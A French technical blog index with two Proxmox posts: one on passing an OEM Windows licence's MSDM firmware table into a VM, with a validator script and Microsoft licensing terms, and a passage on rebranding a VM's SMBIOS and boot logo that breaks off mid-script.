[{"content":"La licence est déjà dans le firmware Beaucoup de gens possèdent une licence du Fisher-Price OS (Windows) sans en avoir jamais vu la clé de produit. Elle est venue avec la machine, et la clé vit dans le firmware de cette machine, dans une petite table ACPI appelée MSDM.\nPuis la machine cesse d\u0026rsquo;être l\u0026rsquo;endroit où se fait le travail. Soit son propriétaire veut cette licence dans une VM qu\u0026rsquo;il vous loue désormais, soit la machine elle-même est effacée, transformée en hôte Proxmox, et la copie de l\u0026rsquo;OS livrée avec elle est voulue de retour sous forme de VM par-dessus.\nMécaniquement, c\u0026rsquo;est une seule option QEMU. C\u0026rsquo;est bien le problème. QEMU transmet n\u0026rsquo;importe quelle table à un invité sans la vérifier, l\u0026rsquo;invité s\u0026rsquo;active avec la clé qu\u0026rsquo;il trouve, et rien, nulle part dans la pile, ne demande si la licence permet quoi que ce soit de tout cela. Ce billet couvre ce qu\u0026rsquo;est la table, comment la faire entrer dans une VM sans en transmettre une corrompue, ce que disent les conditions de Microsoft sur son déplacement, et pourquoi une licence en volume ne s\u0026rsquo;en approche jamais.\nCe qu\u0026rsquo;est la table Depuis OEM Activation 3.0, un fabricant de PC n\u0026rsquo;imprime plus la clé sur une étiquette sous le boîtier, où n\u0026rsquo;importe qui avec un téléphone peut la photographier, et la clé va dans le firmware de la machine à la place. L\u0026rsquo;outillage d\u0026rsquo;usine de Microsoft « injects the product keys into the firmware », et son étape de validation vérifie « that the MSDM table exists » et que son en-tête et ses entrées « comply with the correct formats »1. Une machine préparée ainsi est « activated by using the OA3 DPK in the firmware »2. MSDM est une table ACPI ordinaire, et sous Linux elle se lit directement depuis le firmware :\nsudo cat /sys/firmware/acpi/tables/MSDM \u0026gt; msdm.bin Le portable sur lequel ce billet a été écrit en porte une. 85 octets.\nLa spécification publiée par Microsoft définit l\u0026rsquo;en-tête ACPI standard de 36 octets avec la signature MSDM, puis s\u0026rsquo;arrête. Tout ce qui suit l\u0026rsquo;en-tête est une « Proprietary data structure that contains all the licensing data necessary to enable Windows activation »3.\nOctets Contient Connu par 0 à 35 l\u0026rsquo;en-tête ACPI standard : signature MSDM, longueur, somme de contrôle, OEM ID la spécification de Microsoft 36 à 55 20 octets de champs : version, type de données, longueur des données de vraies tables, pas une spécification publiée 56 à 84 la clé de produit de 29 caractères, cinq groupes de cinq de vraies tables, pas une spécification publiée QEMU transmettra tout ce que vous lui donnez Le -acpitable file= de QEMU prend la « whole ACPI table from the specified files, including all ACPI headers (possible overridden by other options) »4, et l\u0026rsquo;invité voit alors une table MSDM exactement comme le firmware d\u0026rsquo;un portable la présenterait. Cela a été vérifié avec une clé délibérément fausse. Les octets sont ressortis de l\u0026rsquo;autre côté identiques, de la signature au dernier caractère.\nQEMU ne refuse rien. Voici ce que fait hw/acpi/core.c d\u0026rsquo;un fichier cassé5 :\nCe qui ne va pas dans le fichier Ce que fait QEMU Ce que voit l\u0026rsquo;invité La longueur de l\u0026rsquo;en-tête ne correspond pas au fichier avertit, puis écrase la longueur avec la taille réelle un en-tête valide La somme de contrôle ne donne pas zéro la recalcule, sur chaque table, à chaque fois une somme de contrôle valide Clé tronquée ou abîmée rien, les données après l\u0026rsquo;en-tête ne le regardent pas une table d\u0026rsquo;apparence valide autour d\u0026rsquo;une clé cassée L\u0026rsquo;invité n\u0026rsquo;a aucun moyen de faire la différence, et vous non plus tant que quelqu\u0026rsquo;un n\u0026rsquo;a pas ouvert un ticket de support. La première fois que quiconque en entend parler, c\u0026rsquo;est un client dont l\u0026rsquo;activation a échoué.\nSi des clients les téléversent, vérifiez-les donc avant que QEMU les voie :\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Refuse anything that is not a well-formed MSDM table before QEMU sees it.\u0026#34;\u0026#34;\u0026#34; import re, struct, sys t = open(sys.argv[1], \u0026#39;rb\u0026#39;).read() fail = lambda why: sys.exit(f\u0026#34;{sys.argv[1]}: {why}\u0026#34;) if len(t) \u0026lt; 56: fail(f\u0026#34;{len(t)} bytes, too short for an MSDM table\u0026#34;) sig, length = t[:4], struct.unpack_from(\u0026#39;\u0026lt;I\u0026#39;, t, 4)[0] if sig != b\u0026#39;MSDM\u0026#39;: fail(f\u0026#34;signature is {sig!r}, not MSDM\u0026#34;) if length != len(t): fail(f\u0026#34;header says {length} bytes, file is {len(t)}\u0026#34;) if sum(t) \u0026amp; 0xff: fail(\u0026#34;checksum does not sum to zero\u0026#34;) ver, _, dtype, _, dlen = struct.unpack_from(\u0026#39;\u0026lt;5I\u0026#39;, t, 36) if (ver, dtype) != (1, 1): fail(f\u0026#34;version {ver}, data type {dtype}: expected 1 and 1\u0026#34;) if dlen != 29 or 56 + dlen != length: fail(f\u0026#34;data length {dlen}: expected 29\u0026#34;) key = t[56:].decode(\u0026#39;ascii\u0026#39;, \u0026#39;replace\u0026#39;) if not re.fullmatch(r\u0026#39;([0-9A-Z]{5}-){4}[0-9A-Z]{5}\u0026#39;, key): fail(\u0026#34;data is not a 5x5 product key\u0026#34;) print(f\u0026#34;OK OEM {t[10:16].decode(errors=\u0026#39;replace\u0026#39;).strip()!r} key *****-*****-*****-*****-{key[-5:]}\u0026#34;) Vérifie Tient le fichier à Un échec veut dire Signature, longueur, somme de contrôle l\u0026rsquo;en-tête documenté par Microsoft le fichier est cassé Version, type de données, longueur des données, forme de la clé la forme que portent les vraies tables regardez celui-ci à la main, pas « c\u0026rsquo;est un faux » Il n\u0026rsquo;affiche jamais la clé, seulement le dernier groupe. Une clé de produit dans un fichier journal est une clé de produit que quelqu\u0026rsquo;un d\u0026rsquo;autre peut utiliser.\nLancé contre une bonne table et trois copies cassées de celle-ci :\nOK OEM \u0026#39;EXMPLE\u0026#39; key *****-*****-*****-*****-EEEEE bad-sum.bin: checksum does not sum to zero bad-trunc.bin: header says 85 bytes, file is 70 bad-sig.bin: signature is b\u0026#39;SLIC\u0026#39;, not MSDM Où elle va, et qui peut l\u0026rsquo;y mettre Du fichier téléversé par le client à la clé avec laquelle l'invité s'active Table du client msdm.bin, 85 octets de sa propre machine Validateur signature, longueur, somme, forme de la clé Stockée /etc/pve/priv/ root seul, chaque nœud args de la VM -acpitable file= défini par root seul QEMU réécrit la longueur, recalcule la somme, ne refuse rien Invité MSDM dans l'ACPI, l'activation lit la clé Le validateur se place devant QEMU parce que QEMU répare un en-tête cassé plutôt que de le refuser. La table vit dans la moitié privée du système de fichiers du cluster, si bien qu\u0026rsquo;elle suit la VM sur n\u0026rsquo;importe quel nœud et que seul root peut la lire. Une clé de produit est un secret. Elle n\u0026rsquo;a rien à faire là où www-data peut la lire, et pmxcfs vous donne exactement un endroit dans /etc/pve où il ne le peut pas6 :\nOù la table pourrait vivre Qui peut la lire Sur chaque nœud où la VM peut migrer /etc/pve/priv root seulement oui n\u0026rsquo;importe où ailleurs dans /etc/pve lisible par le groupe, www-data de l\u0026rsquo;interface web compris oui un répertoire sur un seul nœud ce que vous avez défini non À 85 octets, elle est très loin de la limite de 1 MiB par fichier de pmxcfs7 :\nmkdir -p /etc/pve/priv/msdm check-msdm.py upload.bin \u0026amp;\u0026amp; cp upload.bin /etc/pve/priv/msdm/9000.bin qm set 9000 --args \u0026#34;-acpitable file=/etc/pve/priv/msdm/9000.bin\u0026#34; qm set --args remplace la ligne entière. Si la VM porte déjà des options SMBIOS ou de firmware dans args, écrivez-les toutes ensemble. Et comme args est réservé à root, c\u0026rsquo;est un travail pour votre provisionnement, pas quelque chose qu\u0026rsquo;un client peut faire depuis l\u0026rsquo;interface web. C\u0026rsquo;est le bon sens. Le client fournit le fichier, vos outils le vérifient et l\u0026rsquo;attachent.\nLa table déplace une clé, pas un droit C\u0026rsquo;est ici que la fonctionnalité demande la tête froide. Déplacer la table MSDM dans une VM déplace la clé. Pas la licence.\nLes conditions de Microsoft elles-mêmes le disent, et les lignes qui comptent tiennent dans une table :\nCas Ce que dit Microsoft Source Licence OEM, la déplacer transférable à un autre utilisateur « only with the licensed device » conditions de licence OEM8 Licence OEM, combien d\u0026rsquo;installations « only one instance of the software for use on one device, whether that device is physical or virtual » conditions de licence OEM8 Licence OEM, en clair « locked » au PC d\u0026rsquo;origine « and cannot be transferred to any other PC » blog Microsoft pour les petites entreprises9 L\u0026rsquo;exception les dispositions de transfert « do not apply » lorsque le logiciel a été acquis en Allemagne ou dans une liste d\u0026rsquo;autres pays conditions de licence OEM8 L\u0026rsquo;héberger pour des clients le Services Provider License Agreement est destiné aux « hosted applications to end customers » SPLA10 Éditions de bureau en VM hébergées « VMs must be hosted by a Qualified Multitenant Hoster (QMTH) » Microsoft Learn11 La table vient toujours de la machine sous licence du client lui-même, jamais de vos hôtes. Le cas qui tombe carrément dans le texte est le plus simple : la machine avec laquelle la licence a été vendue, qui fait maintenant tourner Proxmox, avec cette même copie du Fisher-Price OS (Windows) déplacée dans une seule VM dessus. C\u0026rsquo;est toujours une instance sur un appareil, et les conditions OEM l\u0026rsquo;autorisent « whether that device is physical or virtual »8. Une deuxième VM, ou une autre machine, et ce n\u0026rsquo;est plus le cas.\nDans ce cas précis, la machine du client et l\u0026rsquo;hyperviseur sont la même boîte, il n\u0026rsquo;y a donc rien à téléverser et rien à copier. Le noyau de Proxmox expose déjà la table MSDM du firmware sous /sys/firmware/acpi/tables/, lisible par root seulement, et QEMU sur Proxmox tourne en root, il peut donc prendre la table directement là :\nqm set 100 --args \u0026#34;-acpitable file=/sys/firmware/acpi/tables/MSDM\u0026#34; Pointer vers la table vivante plutôt que vers une copie a deux conséquences. Le chemin est lu sur le nœud où la VM démarre, quel qu\u0026rsquo;il soit, ceci a donc sa place sur un hôte isolé et pas dans un cluster : migrez la VM et soit elle reçoit la table de ce nœud, une autre licence sur une autre machine, soit elle ne démarre pas du tout, parce que QEMU refuse un fichier manquant avec can't open file … No such file or directory. Et c\u0026rsquo;est une ligne, ce qui en fait une ligne à coller sur une deuxième VM. Cette deuxième VM est le cas que les conditions ne couvrent pas, alors une seule VM la reçoit et aucune autre.\nConstruisez donc la fonctionnalité. Le mécanisme est solide, et il y a des clients qui ont le droit de s\u0026rsquo;en servir ; celui qui a acheté sa licence en Allemagne pourrait bien en faire partie. Mais mettez le droit à sa place : dans vos conditions de service, le client garantit qu\u0026rsquo;il détient une licence qui couvre son exécution dans votre VM, et il le fait avant que le bouton de téléversement fasse quoi que ce soit. Le validateur prouve que la table est bien formée. Rien ne prouve qu\u0026rsquo;elle est à lui.\nLes licences en volume ne s\u0026rsquo;approchent jamais de la table Un client avec une licence en volume peut-il prendre le même chemin ? Non. La table n\u0026rsquo;a rien à porter.\nMSDM appartient au canal OEM et à rien d\u0026rsquo;autre. Le guide de planification de Microsoft lui-même dit que l\u0026rsquo;activation OEM « is available only for computers that are purchased through OEM channels and have the Windows operating system preinstalled »12. Les licences en volume s\u0026rsquo;activent par l\u0026rsquo;un de trois autres modèles, « Multiple Activation Keys (MAK) », « KMS » et « Active Directory-based activation »12, et dans chacun d\u0026rsquo;eux la clé est installée dans le système d\u0026rsquo;exploitation. Rien ne la lit depuis le firmware.\nMéthode Où vit la clé À quoi parle l\u0026rsquo;invité Dans une VM Proxmox OEM, OA 3.0 la table MSDM dans le firmware les serveurs d\u0026rsquo;activation de Microsoft la voie -acpitable ci-dessus MAK installée dans l\u0026rsquo;invité Microsoft, une fois, décomptée des activations de la clé marche avec un accès internet ou par téléphone KMS une clé générique (GVLK) dans l\u0026rsquo;invité l\u0026rsquo;hôte KMS du client sur TCP 1688 il faut une route vers lui, et 25 clients ou 5 serveurs avant qu\u0026rsquo;il n\u0026rsquo;active quoi que ce soit Active Directory une GVLK dans l\u0026rsquo;invité les contrôleurs de domaine du client, au moins tous les 180 jours il faut que la VM soit jointe à leur domaine AVMA une clé générique dans l\u0026rsquo;invité la licence Datacenter propre de l\u0026rsquo;hôte Hyper-V pas disponible du tout Pour un client en volume, il n\u0026rsquo;y a donc rien à construire sur l\u0026rsquo;hyperviseur. Sa clé va dans son image, et votre part est le chemin réseau : le port 1688 vers son hôte KMS, ou un VPN vers ses contrôleurs de domaine. L\u0026rsquo;emplacement MSDM reste vide, et c\u0026rsquo;est normal.\nDeux choses piègent les gens. La clé générique des médias en volume n\u0026rsquo;active rien toute seule, parce que « the GVLK doesn\u0026rsquo;t work unless a valid KMS host key can be found »12, si bien qu\u0026rsquo;une VM construite depuis l\u0026rsquo;ISO Enterprise du client sans route vers chez lui reste non activée. Et une licence en volume pour poste de travail n\u0026rsquo;est pas une licence à elle seule. Les programmes en volume « cover upgrades to Windows client operating systems only », et « an existing retail or OEM operating system license is needed for each computer »12. La licence en volume se pose sur une licence de base, très souvent la même licence OEM dont parlait la section précédente, et savoir si elle peut tourner dans votre VM reste la question d\u0026rsquo;hébergement de cette table, pas une question d\u0026rsquo;activation.\nAVMA mérite une ligne à part, parce que c\u0026rsquo;est celle qui ressemble à la réponse. C\u0026rsquo;est le moyen que Microsoft donne à un hôte pour activer ses propres invités serveur, en liant « the VM activation to the licensed virtualization host », et il exige « a Windows Server Datacenter edition with the Hyper-V server host role installed »13. Microsoft est clair sur le reste : « AVMA doesn\u0026rsquo;t work with other server virtualization technologies »13. Sur Proxmox, les invités serveur s\u0026rsquo;activent par vos clés SPLA ou par le KMS du client.\nRien dans la pile ne vérifie les papiers Chaque couche ici fait son travail et rien de plus. Le firmware stocke une clé. QEMU copie les octets et range l\u0026rsquo;en-tête. L\u0026rsquo;invité lit la clé et s\u0026rsquo;active avec. Aucune ne peut dire si la machine en dessous est celle avec laquelle la licence a été vendue, et aucune n\u0026rsquo;a jamais été faite pour.\nLa vérification retombe donc sur celui qui fait tourner l\u0026rsquo;hyperviseur. Une licence est un accord entre la personne qui l\u0026rsquo;a achetée et Microsoft, et votre plateforme n\u0026rsquo;en est pas partie, mais c\u0026rsquo;est elle qui déplace la clé, et cela fait de la question la vôtre, que vous l\u0026rsquo;ayez demandé ou non.\nÉcrivez la réponse avant que le bouton de téléversement fasse quoi que ce soit. Une machine, une VM, la propre licence du client et sa parole qu\u0026rsquo;elle couvre ceci. Ça ne coûte rien, et ça vous protège autant que lui. Le logiciel déplacera n\u0026rsquo;importe quelle clé qu\u0026rsquo;on lui tend. Savoir s\u0026rsquo;il aurait dû est une question à laquelle seule une personne peut répondre, alors assurez-vous qu\u0026rsquo;une personne y ait répondu.\nMicrosoft Learn, OA 3.0 on the factory floor — « injects the product keys into the firmware » ; /Validate vérifie « that the MSDM table exists ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Validate an OEM Activation key — « is activated by using the OA3 DPK in the firmware ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft, Microsoft Software Licensing Tables (SLIC and MSDM) — table 2, décalage 36 : « Proprietary data structure that contains all the licensing data necessary to enable Windows activation. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nQEMU, System Emulation, Invocation — les champs de -smbios par type ; -acpitable « For file=, take whole ACPI table from the specified files, including all ACPI headers » ; -boot « Currently Seabios for X86 system support it. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nQEMU v11.0.3, hw/acpi/core.c — « ACPI table has wrong length » est un warn_report, puis la longueur est écrasée et la somme de contrôle recalculée.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-cluster, src/pmxcfs/pmxcfs.c — les chemins sous priv sont masqués en 0777700, tout le reste en 0777750.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-cluster, src/pmxcfs/memdb.h — #define MEMDB_MAX_FILE_SIZE (1024 * 1024) // 1 MiB.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft, Windows 11 OEM licence terms — « you may transfer the license to use the software directly to another user, only with the licensed device » ; les dispositions de transfert « do not apply if you acquired the software in Germany » ou dans les pays listés. Copie archivée ; la page en ligne refuse les requêtes automatisées.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft, small business blog archive — « the OEM Windows license is \u0026rsquo;locked\u0026rsquo; to the original PC it comes with and cannot be transferred to any other PC. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft, Services Provider License Agreement — « for service providers and software development companies licensing eligible Microsoft products to provide software services and hosted applications to end customers. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Windows subscription activation for VDA — « VMs must be hosted by a Qualified Multitenant Hoster (QMTH). »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Plan for volume activation — les trois modèles d\u0026rsquo;activation en volume ; les seuils KMS de « at least five computers » pour les serveurs et « at least 25 computers » pour les clients, sur le port TCP 1688 ; l\u0026rsquo;activation par Active Directory qui a besoin du domaine « at least once every 180 days » ; « the GVLK doesn\u0026rsquo;t work unless a valid KMS host key can be found » ; les licences en volume « cover upgrades to Windows client operating systems only ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Automatic Virtual Machine Activation in Windows Server — « AVMA requires a Windows Server Datacenter edition with the Hyper-V server host role installed » ; « AVMA doesn\u0026rsquo;t work with other server virtualization technologies. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/proxmox/moving-an-oem-licence-into-a-proxmox-vm/","summary":"Une licence OEM du Fisher-Price OS (Windows) vit dans le firmware du PC sous la forme d\u0026rsquo;une table ACPI appelée MSDM, et QEMU transmettra n\u0026rsquo;importe quelle table de ce genre à un invité sans la vérifier. Ce billet couvre ce que contient la table, un validateur qui refuse les tables malformées avant que QEMU ne répare leurs en-têtes en silence, leur stockage dans la moitié privée du système de fichiers du cluster Proxmox, les conditions de Microsoft pour déplacer une licence OEM, le seul cas qu\u0026rsquo;elles autorisent clairement, la prise de la table directement sur l\u0026rsquo;hôte quand la machine sous licence est l\u0026rsquo;hyperviseur, et pourquoi l\u0026rsquo;activation MAK, KMS, Active Directory et AVMA ne touche jamais à la table.","title":"Déplacer une licence OEM dans une VM Proxmox, et ce qui part avec"},{"content":"Ce que voit votre client quand votre VM démarre Vous vendez des machines virtuelles sous votre propre nom. Un client en allume une, et la première chose à l\u0026rsquo;écran est le logo de quelqu\u0026rsquo;un d\u0026rsquo;autre.\nC\u0026rsquo;est une VM Proxmox d\u0026rsquo;origine. Rien n\u0026rsquo;est cassé, et Proxmox ne fait rien de mal : c\u0026rsquo;est leur produit et leur nom, ils ont écrit le firmware et l\u0026rsquo;interface où il apparaît, et ils ont le droit de l\u0026rsquo;y mettre, de la même façon qu\u0026rsquo;un constructeur de serveurs pose son badge sur la façade du boîtier. Simplement, ce n\u0026rsquo;est pas le vôtre.\nLe logo n\u0026rsquo;est que le début. Voici ce que rapporte un invité UEFI d\u0026rsquo;origine sur le firmware actuel de Proxmox, pve-edk2-firmware 4.2026.08-1, lu depuis l\u0026rsquo;invité avec dmidecode :\nOù regarde l\u0026rsquo;invité Ce qu\u0026rsquo;il lit Le nom de qui Écran de démarrage le logo Proxmox Proxmox Fournisseur du firmware (SMBIOS type 0) Proxmox distribution of EDK II Proxmox Version du firmware 4.2026.08-1 la version du paquet Proxmox Fabricant du système (type 1) QEMU QEMU Nom du produit (type 1) Standard PC (Q35 + ICH9, 2009) QEMU Fabricant du châssis (type 3) QEMU QEMU Carte mère (type 2) absente personne Interface web de gestion le logo Proxmox, en haut à gauche Proxmox Le logo de démarrage ne s\u0026rsquo;arrête pas non plus au firmware. Le firmware UEFI transmet l\u0026rsquo;image qu\u0026rsquo;il a dessinée au système d\u0026rsquo;exploitation par une table ACPI appelée BGRT, la Boot Graphics Resource Table, qui existe pour dire « an image was drawn on the screen during boot »1, et le système d\u0026rsquo;exploitation la redessine sur son propre écran de démarrage. Le Fisher-Price OS (Windows) la place au-dessus de son indicateur de chargement, et Microsoft appelle la BGRT « the standard interface that Windows uses to access the logo »2. Le thème Plymouth par défaut de Fedora fait de même sous Linux3. Un invité sur le firmware de Proxmox affiche donc le logo de Proxmox deux fois avant que quiconque se soit connecté.\nRien de tout cela n\u0026rsquo;est difficile à changer. Le garder changé, si. Le prochain apt full-upgrade en remettra la moitié en place sans rien dire, et la moitié qu\u0026rsquo;il ne remet pas en place est celle qui devrait vous inquiéter, et c\u0026rsquo;est le sujet de l\u0026rsquo;essentiel de ce billet.\nOù chaque élément de marque entre dans le démarrage Mise sous tension QEMU construit SMBIOS et ACPI depuis la config Firmware OVMF dessine son logo intégré, SeaBIOS un écran Transmission tables SMBIOS, ACPI avec BGRT et MSDM Écran de l'OS redessine le logo du firmware depuis la BGRT Invité en marche lit les chaînes, l'activation lit la clé MSDM config de la VM fichier de paquet config de la VM fichier de paquet config de la VM vit dans /etc/pve, survit à chaque mise à jour vit sous /usr/share, apt le remplace La marque entre dans le démarrage à cinq endroits. Trois viennent de la config de la VM elle-même et survivent à tout ce que fait apt. Deux viennent de fichiers appartenant à un paquet Proxmox, et ce sont ceux qu\u0026rsquo;une mise à jour reprend. La table MSDM de cette transmission n\u0026rsquo;a rien à voir avec la marque. Elle porte une clé de licence, et la déplacer dans une VM a son propre billet : Déplacer une licence OEM dans une VM Proxmox.\nTout ce qui est sous /usr/share appartient à apt Une seule règle décide de chaque choix qui suit. Un fichier installé par un paquet est le fichier du paquet. Modifiez-le sur place et la prochaine mise à jour de ce paquet écrase votre modification sans un mot, parce que pour dpkg il ne fait que remettre son propre fichier là où il l\u0026rsquo;avait laissé.\nChaque élément de marque doit donc vivre quelque part qu\u0026rsquo;apt ne possède pas. Un nœud Proxmox a trois endroits de ce genre, et chacun coûte quelque chose de différent :\nOù il vit Comment il y arrive Survit à une mise à jour Ce qu\u0026rsquo;il vous coûte La config de la VM dans /etc/pve smbios1, et args pour tout le reste Oui, aucun paquet ne touche à la config args est réservé à root, et n\u0026rsquo;apparaît pas dans l\u0026rsquo;interface Un fichier que dpkg a reçu l\u0026rsquo;ordre de laisser tranquille dpkg-divert Oui, la copie du paquet part sous un nom .distrib Les mises à jour n\u0026rsquo;atteignent plus le fichier, ce qui compte quand ce fichier est un firmware Votre propre répertoire, hors de l\u0026rsquo;arbre des paquets /usr/local, référencé depuis args Oui, aucun paquet ne le possède Vous devez le déposer vous-même sur chaque nœud La description que Debian donne d\u0026rsquo;un détournement est la plus claire : « a way of forcing dpkg not to install a file into its location, but to a diverted location »4. Cela règle l\u0026rsquo;interface web. Pour le firmware, c\u0026rsquo;est l\u0026rsquo;une de deux options, et la plus dangereuse.\nLe châssis, c\u0026rsquo;est une poignée de chaînes et une vérification de droits SMBIOS est la table qu\u0026rsquo;une machine utilise pour se décrire : qui l\u0026rsquo;a fabriquée, quel modèle c\u0026rsquo;est, son numéro de série, ce que sont la carte et le boîtier5. dmidecode la lit, chaque outil d\u0026rsquo;inventaire que vous avez jamais pointé sur un réseau la lit, le panneau d\u0026rsquo;informations système du Fisher-Price OS (Windows) la lit, et la plupart des contrôles de licence qui décident si un logiciel tournera sur une machine donnée la lisent aussi. Sur une VM, c\u0026rsquo;est QEMU qui l\u0026rsquo;écrit. D\u0026rsquo;où QEMU et Standard PC dans la table ci-dessus.\nLe type 1 par smbios1 Proxmox expose une seule structure SMBIOS dans la config de la VM : le type 1, System Information, sous le nom smbios16. Elle prend manufacturer, product, version, serial, sku, family et uuid.\nLe piège est dans qemu-server, pas dans la documentation. Chaque champ sauf uuid doit correspondre à un motif base64, [A-Za-z0-9+\\/]+={0,2}, si bien qu\u0026rsquo;une valeur en clair contenant une espace est refusée d\u0026rsquo;emblée. Les vraies chaînes sont encodées en base64 avec base64=1, et qemu-server les décode avant de construire la ligne de commande QEMU7. L\u0026rsquo;éditeur SMBIOS de l\u0026rsquo;interface le fait à chaque enregistrement, avec le commentaire « smbios values can be arbitrary, so encode and mark config as such »8. En ligne de commande, c\u0026rsquo;est à vous de le faire :\nb() { printf %s \u0026#34;$1\u0026#34; | base64 -w0; } qm set 9000 --smbios1 \u0026#34;uuid=$(qm config 9000 | sed -n \u0026#39;s/.*uuid=\\([0-9a-f-]*\\).*/\\1/p\u0026#39;),base64=1,\\ manufacturer=$(b \u0026#39;Example Cloud Ltd\u0026#39;),product=$(b \u0026#39;EC Compute Instance\u0026#39;),\\ version=$(b \u0026#39;2026.10\u0026#39;),family=$(b \u0026#39;General Purpose\u0026#39;),sku=$(b \u0026#39;ec-gp-4c16g\u0026#39;)\u0026#34; Notez que l\u0026rsquo;uuid est remis. C\u0026rsquo;est l\u0026rsquo;identité machine de l\u0026rsquo;invité, et ce que vous passez à --smbios1 est stocké comme l\u0026rsquo;option entière, alors lisez-le d\u0026rsquo;abord et gardez-le.\nMettez votre marque sur le modèle, pas sur chaque VM. Un clone Proxmox reçoit un UUID tout neuf et garde tous les autres champs de smbios1, si bien que chaque clone sort avec sa propre identité et vos chaînes9, à une exception près, plus bas.\nLes types 0, 2, 3 et 11 par args smbios1 s\u0026rsquo;arrête au type 1. Le fournisseur du firmware, la carte mère, le châssis et les chaînes OEM passent tous par args, la ligne que Proxmox transmet telle quelle à QEMU, et que sa propre documentation qualifie de « for experts only »6. L\u0026rsquo;option -smbios de QEMU prend les champs de chaque type10 :\nargs: -smbios \u0026#39;type=0,vendor=Example Cloud Ltd,version=EC-FW 1.0,date=10/04/2026,uefi=on\u0026#39; -smbios \u0026#39;type=2,manufacturer=Example Cloud Ltd,product=EC Virtual Board,version=1.0\u0026#39; -smbios \u0026#39;type=3,manufacturer=Example Cloud Ltd,version=1.0,asset=EC-ASSET-123,sku=ec-gp\u0026#39; -smbios \u0026#39;type=11,value=example-cloud:instance=123\u0026#39; Démarré sur QEMU avec ces lignes, le dmidecode de l\u0026rsquo;invité lit :\nStructure Champ D\u0026rsquo;origine À votre marque Type 0 Vendor Proxmox distribution of EDK II Example Cloud Ltd Type 0 Version 4.2026.08-1 EC-FW 1.0 Type 1 Manufacturer QEMU Example Cloud Ltd Type 1 Product Name Standard PC (Q35 + ICH9, 2009) EC Compute Instance Type 1 Family non renseigné General Purpose Type 2 Manufacturer structure absente Example Cloud Ltd Type 2 Product Name structure absente EC Virtual Board Type 3 Manufacturer QEMU Example Cloud Ltd Type 3 Asset Tag non renseigné EC-ASSET-123 Type 11 String 1 structure absente example-cloud:instance=123 Quatre pièges sont apparus en chemin. Tous les quatre sont silencieux.\nFournir un type 0 fait disparaître « UEFI is supported ». OVMF n\u0026rsquo;écrit son propre type 0 que si QEMU n\u0026rsquo;en a pas fourni ; la boucle qui parcourt les tables de QEMU met NeedSmbiosType0 = FALSE dès qu\u0026rsquo;elle rencontre un type 011. Votre chaîne fournisseur remplace celle de Proxmox, et c\u0026rsquo;est le but. Mais le type 0 de QEMU remplace aussi les caractéristiques de firmware d\u0026rsquo;OVMF, et sans uefi=on la ligne « UEFI is supported » disparaît de dmidecode. Remettez-la avec uefi=on. Pour les invités UEFI, la chaîne fournisseur a de toute façon une meilleure place, dans le firmware lui-même, plus bas.\nLe type de châssis ne peut pas être défini. Le type 3 de QEMU prend manufacturer, version, serial, asset et sku, et rien d\u0026rsquo;autre10. Il reste à Other.\nDeux définitions d\u0026rsquo;un même type fusionnent, et la dernière gagne. qemu-server place son -smbios type=1 tôt dans la ligne de commande et vos args tout à la fin12, si bien qu\u0026rsquo;un second -smbios type=1,manufacturer=… dans args ne jette pas le premier : QEMU les a fusionnés champ par champ, le fabricant venait de args, et l\u0026rsquo;UUID est resté là où smbios1 l\u0026rsquo;avait mis. Cela compte pour le quatrième piège.\nLes deux moitiés n\u0026rsquo;ont pas le même propriétaire. qemu-server vérifie les droits option par option. smbios1 est rangé avec les options matérielles et exige VM.Config.HWType, tandis que args tombe dans le cas par défaut tout en bas, qui dit « only root can set »13. La carte mère, le châssis, le fournisseur du firmware et les chaînes OEM sont à vous seul. Le type 1, non. Toute personne à qui vous avez donné des droits sur le matériel peut le réécrire, et sur un produit hébergé, cela peut très bien être le client. Si la chaîne du fabricant compte, définissez-la aussi dans args. La dernière définition gagne.\nLe numéro de série est déjà dans la config L\u0026rsquo;essentiel de ce qui a sa place dans le type 1 se trouve déjà dans la config de la VM. Le nom fait un bon numéro de série, parce que qemu-server n\u0026rsquo;y accepte qu\u0026rsquo;un nom DNS14 : court, imprimable, jamais de virgule, et la seule chose de la VM qu\u0026rsquo;un client reconnaîtra.\nChamp du type 1 Tiré de Pour une VM de 4 cœurs et 16 GiB appelée web-01, étiquetée production;web Serial Number name web-01 SKU Number cores × sockets, et memory ec-4c16g Family la première entrée de tags production UUID l\u0026rsquo;UUID smbios1 qu\u0026rsquo;elle a déjà inchangé Manufacturer, Product vos propres chaînes fixes Example Cloud Ltd, EC Compute Instance Deux choses restent dehors. Le nœud change à chaque migration, et vmgenid est fait pour changer : tout son rôle est de dire à l\u0026rsquo;invité qu\u0026rsquo;il a été restauré depuis un instantané ou construit à partir d\u0026rsquo;un modèle15. Ni l\u0026rsquo;un ni l\u0026rsquo;autre n\u0026rsquo;est une identité.\n#!/bin/bash # /usr/local/sbin/ec-smbios VMID: rebuild smbios1 from the VM\u0026#39;s own config. set -euo pipefail id=$1 cfg=$(qm config \u0026#34;$id\u0026#34; --current) get() { sed -n \u0026#34;s/^$1: //p\u0026#34; \u0026lt;\u0026lt;\u0026lt;\u0026#34;$cfg\u0026#34;; } b() { printf %s \u0026#34;$1\u0026#34; | base64 -w0; } name=$(get name) [ -n \u0026#34;$name\u0026#34; ] || { echo \u0026#34;VM $id has no name to use as a serial\u0026#34; \u0026gt;\u0026amp;2; exit 1; } 